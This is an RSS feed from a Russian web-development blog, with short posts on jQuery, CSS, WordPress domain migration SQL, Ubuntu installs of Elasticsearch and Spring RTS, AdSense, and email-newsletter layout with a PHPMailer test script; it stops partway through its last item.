<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог saintista</title>
	<atom:link href="http://saintist.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://saintist.ru</link>
	<description>php phpquery css jscript jQuery</description>
	<lastBuildDate>Wed, 25 Apr 2012 05:43:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Favicon data:image</title>
		<link>http://saintist.ru/2012/04/11/favicon-dataimage/</link>
		<comments>http://saintist.ru/2012/04/11/favicon-dataimage/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 16:27:45 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1632</guid>
		<description><![CDATA[< link rel="icon" href="data:image/png,%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%00%10%00%00%00%10%08%02%00%00%00%90%91h6%00%00%00%19IDAT(%91c%BCd%AB%C2%40%0A%60%22I%F5%A8%86Q%0DCJ%03%00%DE%B5%01S%07%88%8FG%00%00%00%00IEND%AEB%60%82" type="image/png" / >]]></description>
			<content:encoded><![CDATA[<pre>
< link rel="icon" href="data:image/png,%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%00%10%00%00%00%10%08%02%00%00%00%90%91h6%00%00%00%19IDAT(%91c%BCd%AB%C2%40%0A%60%22I%F5%A8%86Q%0DCJ%03%00%DE%B5%01S%07%88%8FG%00%00%00%00IEND%AEB%60%82" type="image/png" / >
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/04/11/favicon-dataimage/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>jQuery live hover</title>
		<link>http://saintist.ru/2012/04/10/jquery-live-hover/</link>
		<comments>http://saintist.ru/2012/04/10/jquery-live-hover/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 08:31:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1628</guid>
		<description><![CDATA[делается просто jQuery('.b-user-feed .b-user-feed-item').live({ mouseenter: function(){ ... }, mouseleave: function(){ .... } });]]></description>
			<content:encoded><![CDATA[<p>делается просто</p>
<p><img src="http://saintist.ru/wp-content/uploads/2012/04/they_live.jpg" alt="" title="they_live" width="400" height="426" class="aligncenter size-full wp-image-1629" /></p>
<pre>
jQuery('.b-user-feed .b-user-feed-item').live({
	mouseenter: function(){
	    ...
	},
	mouseleave: function(){
	    ....
	}
    });
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/04/10/jquery-live-hover/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Убрать Скайп со страниц сайта</title>
		<link>http://saintist.ru/2012/03/06/ubrat-skajp-so-stranic-sajta/</link>
		<comments>http://saintist.ru/2012/03/06/ubrat-skajp-so-stranic-sajta/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 14:24:19 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1620</guid>
		<description><![CDATA[При установке скайпа, на сайтах где указаны телефоны номера телефонов начинают подсвечиваться плагином расширением скайпа, который устанавливается в браузеры при установке самого Скайпа. Это отключается удалением скайповского плагина. Для своего сайта чтобы скайп не подсвечивал номера достаточно в head добавить meta тег < meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2012/03/Skype_std_use_logo_pos_col_rgb.jpg"><img src="http://saintist.ru/wp-content/uploads/2012/03/Skype_std_use_logo_pos_col_rgb-300x132.jpg" alt="" title="Skype_std_use_logo_pos_col_rgb" width="300" height="132" class="aligncenter size-medium wp-image-1621" /></a><br />
При установке скайпа, на сайтах где указаны телефоны номера телефонов начинают подсвечиваться  плагином расширением скайпа, который устанавливается в браузеры при установке самого Скайпа. Это отключается  удалением скайповского плагина.<br />
<span id="more-1620"></span><br />
Для своего  сайта  чтобы скайп не подсвечивал номера достаточно в head добавить meta тег</p>
<pre>< meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE" /></pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/03/06/ubrat-skajp-so-stranic-sajta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Adsense рекламный блок 728&#215;90 очередные рекомендации от Google</title>
		<link>http://saintist.ru/2012/02/21/adsense-reklamnyj-blok-728x90-ocherednye-rekomendacii-ot-google/</link>
		<comments>http://saintist.ru/2012/02/21/adsense-reklamnyj-blok-728x90-ocherednye-rekomendacii-ot-google/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 11:27:35 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Adsense]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1610</guid>
		<description><![CDATA[Очередной совет по наращиванию прибыли от партнерской программы AdSense о корпорации добра пришел сегодня Включите для рекламных блоков показ как текстовых, так и графических/мультимедийных объявлений Прогнозируемое увеличение доходов: 5 %–20 %. Включите отображение текстовых и графических/мультимедийных объявлений в рекламных блоках. В настоящее время для рекламного блока &#171;728&#215;90 ********&#187; настроен показ только текстовых объявлений. Чтобы увеличить [...]]]></description>
			<content:encoded><![CDATA[<p>Очередной совет по наращиванию прибыли от партнерской программы AdSense о корпорации добра<br />
пришел сегодня<br />
<a href="http://saintist.ru/wp-content/uploads/2012/02/google-adsense-profit.png"><img src="http://saintist.ru/wp-content/uploads/2012/02/google-adsense-profit-300x41.png" alt="" title="google-adsense-profit" width="300" height="41" class="aligncenter size-medium wp-image-1611" /></a></p>
<p>Включите для рекламных блоков показ как текстовых, так и графических/мультимедийных объявлений<br />
Прогнозируемое увеличение доходов: 5 %–20 %.<br />
Включите отображение текстовых и графических/мультимедийных объявлений в рекламных блоках. В настоящее время для рекламного блока &#171;728&#215;90 ********&#187; настроен показ только текстовых объявлений. Чтобы увеличить свой доход, включите показ как текстовых, так и графических/мультимедийных объявлений<br />
<span id="more-1610"></span></p>
<p>Наша система провела эксперимент с рекламным трафиком вашего сайта. Выяснилось, что доход от вашего сайта повысится при показе графических объявлений в тех рекламных блоках, где сейчас разрешены только текстовые объявления.</p>
<p>Подробнее о графических объявлениях&#8230;<br />
Указанное увеличение дохода от рекламного блока является спрогнозированным в ходе эксперимента. На практике полученная сумма может оказаться как больше, так и меньше.</p>
<p>Чтобы опробовать рекомендуемые настройки, нажмите Сделать это сейчас. Система автоматически обновит рекламный блок и разрешит в нем показ как графических, так и текстовых объявлений. Обратите внимание: вы также можете внести изменения вручную или создать эксперимент в Оптимизаторе веб-сайтов.</p>
<p>Если вы не хотите следовать этим рекомендациям, сообщите нам, почему. Для этого нажмите на ссылку Нет, спасибо и оставьте отзыв. Ваше мнение поможет нам предлагать в будущем более релевантные советы.</p>
<p>Благодаря изменениям которые сделал  руководствуясь предыдущим <a href="http://saintist.ru/2012/01/20/rekomendacii-google-adsense/" title="Рекомендациям от Google">рекомендациям от Google</a> прибыль выросла примерно на 20-30%, в зависимости от дня недели</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/02/21/adsense-reklamnyj-blok-728x90-ocherednye-rekomendacii-ot-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Рекомендации Google Adsense</title>
		<link>http://saintist.ru/2012/01/20/rekomendacii-google-adsense/</link>
		<comments>http://saintist.ru/2012/01/20/rekomendacii-google-adsense/#comments</comments>
		<pubDate>Fri, 20 Jan 2012 06:31:03 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google Adsense]]></category>
		<category><![CDATA[Заработок]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1604</guid>
		<description><![CDATA[Вчера пришло вот такое письмо от Google Adsense. Не упустите 1191 возможность заработать больше с помощью AdSense Сайт с не особо большой посещалкой в пределах 3-4к уников в сутки, CTR 1-1.5 Решил не упускать, еще пару добавил блоков, статистику посмотрел, прибыль выросла, Об изменениях остальных параметров в какую-либо сторону сложно судить за один день.]]></description>
			<content:encoded><![CDATA[<p>Вчера пришло вот такое письмо от Google Adsense.</p>
<p>Не упустите 1191 возможность заработать больше с помощью AdSense<a href="http://saintist.ru/wp-content/uploads/2012/01/adsense.png"><img src="http://saintist.ru/wp-content/uploads/2012/01/adsense-300x227.png" alt="" title="adsense" width="300" height="227" class="aligncenter size-medium wp-image-1605" /></a></p>
<p>Сайт с не особо большой посещалкой  в пределах 3-4к уников в сутки, CTR 1-1.5</p>
<p>Решил не упускать, еще пару добавил блоков, статистику посмотрел, прибыль выросла,  Об изменениях остальных параметров  в какую-либо сторону сложно судить за один день.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/01/20/rekomendacii-google-adsense/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery отслеживаем ввод символа в  input (Enter, tab)</title>
		<link>http://saintist.ru/2012/01/13/jquery-otslezhivaem-vvod-simvola-v-input-enter-tab/</link>
		<comments>http://saintist.ru/2012/01/13/jquery-otslezhivaem-vvod-simvola-v-input-enter-tab/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 06:47:29 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1597</guid>
		<description><![CDATA[jQuery(function(){ jQuery('#test').keydown(function(e) { console.log('keyup called'); var code = e.keyCode &#124;&#124; e.which; if (code == '9') { console.log('keyup called tab'); alert('worked'); return false; } if (code == '13') { console.log('keyup called enter'); alert('worked'); return false; } console.log(code); }); });]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2012/01/jquery-keyup-300x168.jpg" alt="" title="jquery-keyup" width="300" height="168" class="aligncenter size-medium wp-image-1598" /><br />
<span id="more-1597"></span></p>
<pre>

jQuery(function(){
    jQuery('#test').keydown(function(e) {
       console.log('keyup called');
       var code = e.keyCode || e.which;
       if (code == '9') {
         console.log('keyup called tab');

    alert('worked');

       return false;
       }

       if (code == '13') {
         console.log('keyup called enter');

    alert('worked');
       return false;
       }

       console.log(code);

    });
});
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/01/13/jquery-otslezhivaem-vvod-simvola-v-input-enter-tab/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Новогодняя жопа</title>
		<link>http://saintist.ru/2012/01/12/novogodnyaya-zhopa/</link>
		<comments>http://saintist.ru/2012/01/12/novogodnyaya-zhopa/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 19:22:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Заработок]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1593</guid>
		<description><![CDATA[Вот из-за вот этого праздники не люблю )))]]></description>
			<content:encoded><![CDATA[<p>Вот из-за вот этого праздники не люблю )))<br />
<a href="http://saintist.ru/wp-content/uploads/2012/01/ny-ass.png"><img src="http://saintist.ru/wp-content/uploads/2012/01/ny-ass.png" alt="" title="ny-ass" width="520" height="366" class="aligncenter size-full wp-image-1594" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2012/01/12/novogodnyaya-zhopa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Установка Spring RTS на Ubuntu</title>
		<link>http://saintist.ru/2011/12/30/ustanovka-spring-rts-na-ubuntu/</link>
		<comments>http://saintist.ru/2011/12/30/ustanovka-spring-rts-na-ubuntu/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 07:02:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Spring RTS]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1589</guid>
		<description><![CDATA[sudo add-apt-repository ppa:spring/ppa sudo apt-get install springlobby mkdir ~/.spring/mods/ mkdir ~/.spring/maps/]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/12/springrts.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/12/springrts.jpg" alt="" title="springrts" width="200" height="218" class="aligncenter size-full wp-image-1590" /></a><br />
<span id="more-1589"></span></p>
<pre>
sudo add-apt-repository ppa:spring/ppa
sudo apt-get install springlobby
mkdir ~/.spring/mods/
mkdir ~/.spring/maps/
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/12/30/ustanovka-spring-rts-na-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Установить elasticsearch На  Ubuntu</title>
		<link>http://saintist.ru/2011/12/19/ustanovit-elasticsearch-na-ubuntu/</link>
		<comments>http://saintist.ru/2011/12/19/ustanovit-elasticsearch-na-ubuntu/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 05:18:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1580</guid>
		<description><![CDATA[В Консоли sudo apt-get install unzip wget https://github.com/downloads/elasticsearch/elasticsearch/elasticsearch-0.17.4.zip unzip elasticsearch-0.17.4.zip sudo apt-get install python-software-properties sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner" sudo apt-get update sudo apt-get install sun-java6-jre sun-java6-plugin sudo mv elasticsearch-0.17.4 /usr/local/share cd elasticsearch-servicewrapper sudo mv service /usr/local/share/elasticsearch-0.17.4/bin cd /usr/local/share sudo ln -s elasticsearch-0.17.4 elasticsearch cd /usr/local/share/elasticsearch sudo bin/service/elasticsearch stop sudo bin/service/elasticsearch start -f sudo [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/12/logo-icon-300x211.png" alt="" title="logo-icon" width="300" height="211" class="aligncenter size-medium wp-image-1581" /><br />
В Консоли<br />
<span id="more-1580"></span></p>
<pre>
sudo apt-get install unzip
wget https://github.com/downloads/elasticsearch/elasticsearch/elasticsearch-0.17.4.zip
unzip elasticsearch-0.17.4.zip
sudo apt-get install python-software-properties
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jre sun-java6-plugin
sudo mv elasticsearch-0.17.4 /usr/local/share
cd elasticsearch-servicewrapper
sudo mv service /usr/local/share/elasticsearch-0.17.4/bin
cd /usr/local/share
sudo ln -s elasticsearch-0.17.4 elasticsearch
cd /usr/local/share/elasticsearch
sudo bin/service/elasticsearch stop
sudo bin/service/elasticsearch start -f
sudo bin/service/elasticsearch stop
bin/elasticsearch -f
curl http://localhost:9200
sudo bin/service/elasticsearch start
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/12/19/ustanovit-elasticsearch-na-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chrome input  type=&#187;search&#187; убрать border</title>
		<link>http://saintist.ru/2011/11/23/chrome-input-typesearch-ubrat-border/</link>
		<comments>http://saintist.ru/2011/11/23/chrome-input-typesearch-ubrat-border/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 11:30:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[css]]></category>
		<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1577</guid>
		<description><![CDATA[Столкнулся с небольшой проблемой. В Google Chrome у input в форме поиска от ecwid появлялась полоска border? при этом в других браузерах не было этой полоски, и в css нигде не было правила для отображения. Принудительное выставление border:none не дало эффекта. Тип у input был search. Решение оказалось простым. для того чтобы убрать в Google [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/11/pic9-141.png"><img src="http://saintist.ru/wp-content/uploads/2011/11/pic9-141.png" alt="" title="pic9-14[1]" width="190" height="118" class="aligncenter size-full wp-image-1578" /></a><br />
Столкнулся   с небольшой проблемой. В Google Chrome  у input  в форме поиска  от ecwid  появлялась полоска  border? при этом в других  браузерах не было этой полоски, и в css нигде не было правила  для  отображения. Принудительное  выставление border:none не дало эффекта. Тип  у input  был  search. Решение оказалось простым.<br />
<span id="more-1577"></span></p>
<p>для того чтобы убрать в Google Chrome  бордер у элемента input с  типом search в css необходимо прописать для  этого элемента правило<br />
<strong>-webkit-appearance: none;</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/11/23/chrome-input-typesearch-ubrat-border/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Перенос wordpress на новый домен со сменой  префикса таблиц.</title>
		<link>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/</link>
		<comments>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 20:43:36 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1572</guid>
		<description><![CDATA[Зачастую при переносе сайта, собранного на wordpress, на новый хостинг со сменой домена приходится скачивать дамп БД и менять заменой в текстовом файле старый домен на новый. Но этого можно избежать? загрузив в базу дамп без изменений и сделав всего лишь три SQL запроса, например через PhpMyAdmin. UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/10/neo.matrix1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/10/neo.matrix1.jpg" alt="" title="перенос wordpress на новый domen со сменой  префикса таблиц" width="350" height="188" class="aligncenter size-full wp-image-1573" /></a></p>
<p>Зачастую при переносе сайта, собранного на wordpress,  на новый хостинг со сменой домена приходится скачивать дамп  БД и менять заменой в текстовом файле  старый домен на новый. Но этого  можно избежать? загрузив в базу дамп без изменений и   сделав всего лишь три SQL запроса,  например через  PhpMyAdmin.<br />
<span id="more-1572"></span><br />
<strong>UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET guid= REPLACE(guid, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET post_content= REPLACE(post_content, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p>Описано  <a href="http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/#more-1476" title="Замена подстроки в MySQL столбца">вот тут Замена подстроки в MySQL столбца</a>.</p>
<p>В третьей версии WordPress появилась такая замечательная вещь как динамические меню (<a href="http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/" title="WordPress wp_nav_menu делаем свое кастомное меню">wp_nav_menu</a>, <a href="http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/" title="wp_nav_menu полная кастомизация через страницу администратора">wp_nav_menu полная кастомизация через страницу администратора</a>), если они  используются и есть  в них кастомные  ссылки вбитые вручную на старый домен то  также делаем  еще один запрос меняя их под новый домен на который переносим сайт</p>
<p><strong>UPDATE текущийпрефикстаблицы_postmeta SET  meta_value= REPLACE(meta_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>Момент с изменением префиксов у таблиц пр переносе.</strong></p>
<p>Зачастую требуется также поменять  префикс у таблиц, например когда несколько сайтов на WordPress используют одну базу данных. Предварительно  в файле wp-config.php , лежащем в корне, меняем в строке <code>$table_prefix  = 'wpgym_'; </code> значение на  новый префикс.</p>
<p><strong>UPDATE текущийпрефикстаблицы_usermeta  SET  meta_key= REPLACE(meta_key, &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong><br />
<strong>UPDATE текущийпрефикстаблицы_options   SET  option_name = REPLACE(option_name , &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
<p>если этого не сделать то при авторизации  пользователя он не сможет получить доступ  в админку, будет выводиться запись что не достаточно прав. Дело в том, что  в таблице _usermeta есть несколько записей отвечающих за права доступа конкретного пользователя и их ключи начинаются на префикс имени таблиц, при смене префикса без изменения имен ключей пользователь не сможет  загрузить свои привилегии доступа. Например  префикс wp_ &#8212; то в таблице wp_usermeta у каждого юзера юзера будут wp_capabilities, wp_user_level и wp_autosave_draft_ids, и для всех юзеров в wp_options будут прописаны роли в wp_user_roles, если меняем  префикс на wpnew_  то и  ключи  у записей должны быть wpnew_capabilities, wpnew_user_level,wpnew_user_roles и wpnew_autosave_draft_ids. Ферштейн ?</p>
<p><strong>Подведем итог:</strong></p>
<p>для полного переноса WordPress на новый домен  с изменением  префикса у таблиц нужно сделать  6 SQL запросов:</p>
<p><strong>UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET guid= REPLACE(guid, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET post_content= REPLACE(post_content, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_postmeta SET  meta_value= REPLACE(meta_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong><br />
<strong>UPDATE текущийпрефикстаблицы_usermeta  SET  meta_key= REPLACE(meta_key, &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_options   SET  option_name = REPLACE(option_name , &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>qTranslate  и wp_nav_menu</title>
		<link>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/</link>
		<comments>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 05:53:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1563</guid>
		<description><![CDATA[Для создания мультиязычного сайта замечательно подходит плагин qTranslate, единственное в динамических меню он не добавляет дополнительные поля для ввода названий на нескольких языках, но для использования мультиязычности в wp_nav_menu достаточно в поле ввода заголовка вписывать текст с шорткодами во так [:en]About company[:ru]O компании ps: напомню что аналогично делается вставка статичных текстовых элементов в шаблоны темы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/10/qtranslate-wp_nav_menu.png"><img src="http://saintist.ru/wp-content/uploads/2011/10/qtranslate-wp_nav_menu.png" alt="" title="qtranslate-wp_nav_menu" width="426" height="549" class="aligncenter size-full wp-image-1564" /></a></p>
<p>Для  создания  мультиязычного  сайта  замечательно  подходит  плагин qTranslate, единственное  в  динамических меню он не  добавляет дополнительные  поля для  ввода названий на нескольких  языках, но для  использования мультиязычности в wp_nav_menu   достаточно  в поле ввода заголовка  вписывать текст с шорткодами<br />
<span id="more-1563"></span><br />
во так</p>
<pre>[:en]About company[:ru]O компании</pre>
<p>ps:  напомню что аналогично  делается вставка статичных текстовых элементов в шаблоны темы для   поддержки мультиязычности</p>
<pre>< ? php _e("[:en]Tags[:ru]Теги"); ? ></pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Верстка email рассылок (семь простых правил)</title>
		<link>http://saintist.ru/2011/07/28/verstka-email-rassylok-sem-prostyx-pravil/</link>
		<comments>http://saintist.ru/2011/07/28/verstka-email-rassylok-sem-prostyx-pravil/#comments</comments>
		<pubDate>Thu, 28 Jul 2011 12:24:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1543</guid>
		<description><![CDATA[довольно часто беру заказы на верстку email рассылок. Ниже список особенностей которые нужно учесть при выполнении таких заказов, а также делюсь небольшим скриптом для тестирования email рассылок. 0. Письма делаем в text/html 1. Кодировка. Оптимальный вариант utf-8 но не для аутлука, поэтому берем windows-1251. 2. Вспоминаем HTML 3.2 верстаем в нем, css вырезается почтовиками Яндекса [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/07/envelope.jpg" alt="" title="верстка email рассылок" width="229" height="187" class="aligncenter size-full wp-image-1544" /></p>
<p>довольно  часто  беру заказы  на верстку email рассылок.<br />
Ниже список особенностей которые нужно учесть при выполнении таких заказов, а также делюсь небольшим скриптом для тестирования email рассылок.<br />
<span id="more-1543"></span><br />
0. Письма делаем в text/html<br />
1. Кодировка. Оптимальный вариант utf-8 но не для аутлука, поэтому берем  windows-1251.<br />
2. Вспоминаем  HTML 3.2 верстаем в нем, css вырезается почтовиками Яндекса , Маил ру и Рамблера.<br />
3. При форматировании кода отказываемся от табуляции (табуляция = глюкам в Яндексе и Маил ру)<br />
4. Не используем фоновые картинки, нужно чтото красивое вставляем его картинкой как есть, это же относится к  тексту на  красивом фоне, все картинкой. Outlook 2007 не дает использовать фоновые картинки.<br />
5. Верстаем преимущественно табблицами.<br />
6. Отступ в Gmail у картинок снизу, примерно  3 пикселя, фиксится прописыванием у картинки style=&#187;display:block&#187;<br />
7. Картинки не ресайзим, используем ширину и высоту как есть у оригинала</p>
<p>В качестве бонуса скрипт для  тестирования email рассылок</p>
<p>использует класс phpmailer</p>
<p>как правило в email рассылках  картинки лежат где-то на сервере и при получении письма подгружаются  по указанным урл</p>
<p>скрипт приатачивает все картинки в тело письма благодаря чему не нужно ничего ниоткуда грузить, изображения приходят в самом письме</p>
<p>соответственно в  верстке нужно использовать не  полные пути а относительные</p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/07/src-img.png" alt="" title="src-img" width="602" height="52" class="aligncenter size-full wp-image-1547" /></p>
<pre>
/*наша рассылка*/
$message = file_get_contents('index.html');
include '../phpmailer/class.phpmailer.php';
$mail = new PHPMailer();
$mail->IsHTML(1);
$mail->CharSet="windows-1251";
/*от кого*/
$mail->SetFrom('noreply@saintist.ru' , 'subscribe');
/*кому*/
$mail->AddAddress('email1@saintist.ru', "John Doe");
$mail->AddAddress('email2@saintist.ru', "John Doe");
$mail->AddAddress('email3@saintist.ru', "John Doe");
/*ntvf*/
$mail->Subject = "Subscribe";
/*из верстки дергаем все картинки и упаковываем в письмо*/
preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',$message, $images);

  foreach($images[1] as $k=>$v)
  {
  	$mail->AddEmbeddedImage(basename($v), 'mail-img-'.$k, basename($v));
  	$message=str_replace(basename($v),'cid:mail-img-'.$k,$message);

  }
$mail->Body =$message;
if(!$mail->Send())
{
    echo "Ошибка отправки письма: " . $mail->ErrorInfo;
}
else
{
     echo "Письмо отправленно!";
}
</pre>
<p>скрин как выглядит папка с версткой</p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/07/email-makeup.png" alt="" title="email-makeup" width="376" height="290" class="aligncenter size-full wp-image-1545" /></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/28/verstka-email-rassylok-sem-prostyx-pravil/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Небольшой апдейт news.yandex.ru WordPress RSS2.0</title>
		<link>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/</link>
		<comments>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 19:49:40 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1537</guid>
